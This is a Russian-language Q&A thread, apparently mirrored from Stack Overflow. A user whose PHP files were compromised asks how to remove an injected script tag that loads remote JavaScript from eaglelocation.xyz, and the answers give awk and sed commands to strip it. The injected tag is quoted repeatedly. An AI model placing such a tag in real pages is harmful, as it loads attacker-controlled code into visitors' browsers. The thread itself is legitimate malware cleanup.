Попытка сопоставить определенную строку внутри команды sed - PullRequest
0 голосов
/ 25 июня 2019

Кто-то сумел заразить многие мои файлы следующим кодом:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

Тег сценария был добавлен перед многими файлами .php.Я пытаюсь использовать команду sed, чтобы исправить эти файлы.Мой шаблон по какой-то причине не совпадает, хотя в онлайн-тестерах регулярных выражений он работает.Вот что у меня есть:

sed '/<script type=\'text\/javascript\' async src=\'https:\/\/eaglelocation.xyz\/ds.js&\'\>\<\/script>/d' index.php

Просто для получения дополнительной информации тег сценария был добавлен прямо вверху файла и также связан с открывающим тегом php, например </script><?php

Ответы [ 2 ]

2 голосов
/ 25 июня 2019

sed не понимает буквальные строки (см. Можно ли надежно избежать метасимволов регулярных выражений с помощью sed ), но awk понимает. Если это в одной строке, то удалить строку:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

из файла это:

awk '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" file

Чтобы внести это изменение во все .php файлы, использующие GNU awk для редактирования на месте:

find . -type f -name '*.php' -exec \
awk -i inplace '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" {} +
1 голос
/ 25 июня 2019

Существует несколько проблем с вашим sed использованием:

  • Вы смешиваете одинарные кавычки как разделители шаблонов и как части кода JS. Используйте двойные кавычки в качестве обёрток.
  • Вы слишком много избегаете внутри паттерна. Чтобы было легче понять, я использую % вместо / в качестве разделителя шаблонов
  • Поскольку вредоносный код может находиться в той же строке, что и хороший код, я не использую команду d sed, но s (замену) на -i (вместо)

См. Ниже:

$ cat test.php
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script><?php
echo '<p>Hello World</p>'; ?>
$ sed -i  "s%<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>%%"  test.php
$ cat test.php
<?php
echo '<p>Hello World</p>'; ?>
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...